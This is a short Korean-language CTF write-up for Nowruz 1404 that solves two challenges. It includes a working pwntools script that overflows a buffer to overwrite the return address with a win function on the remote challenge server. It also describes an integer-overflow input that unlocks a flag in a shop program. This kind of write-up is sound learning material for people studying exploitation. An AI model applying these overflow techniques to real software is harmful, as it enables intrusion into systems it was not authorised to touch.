Nowruz 1404 CTF Write-up

write up
avatar
2025.06.16
·
2 min read

Seen Guessing

6854

6856

6857

총 7번 돌고 종료된다. win 함수도 있어서 그냥 Return 주소 조작해서 풀었다.

from pwn import *

# p = process('./chall')
p = remote('164.92.176.247', 5002)

strings = ['Sonbol', 'Sabzeh', 'Seer', 'Seeb', 'Senjed', 'Samanu', 'Serkeh']

for i in range(0, len(strings)-1):
    p.sendlineafter(b'Seen:',strings[i].encode())

pay = strings[6].encode()
pay += b'\x00' * (0x20 - len(pay))
pay += b'B' * 0x8
pay += p64(0x0000000000401216)

p.sendlineafter(b'Seen:', pay)

p.interactive()

문제 파일

Seen shop

특이하게 소스코드만 주는 문제였다. 때문에 동적 분석은 필요 없을 정도로 쉬운 문제라고 생각해서 먼저 플래그를 구할 수 있는 벡터 먼저 탐색했다.

6859


위 함수에서 플래그를 얻을 수 있다. quantities[6]이 10보다 클 경우 플래그를 출력해준다. 그리고 quantitiesaddToBasket 함수에서 입력이 가능했다.

6860

그래서 코드만 보고 가장 먼저 7이랑 11을 입력해봤다.

6861

보이다 싶이 880,000,000 보다 높은 수를 입력해야 하는 듯 보였다. 그래서 integer overflow 라고 유추해서 2,147,483,647 를 입력해봤더니 플래그가 출력됐다.

6862








- 컬렉션 아티클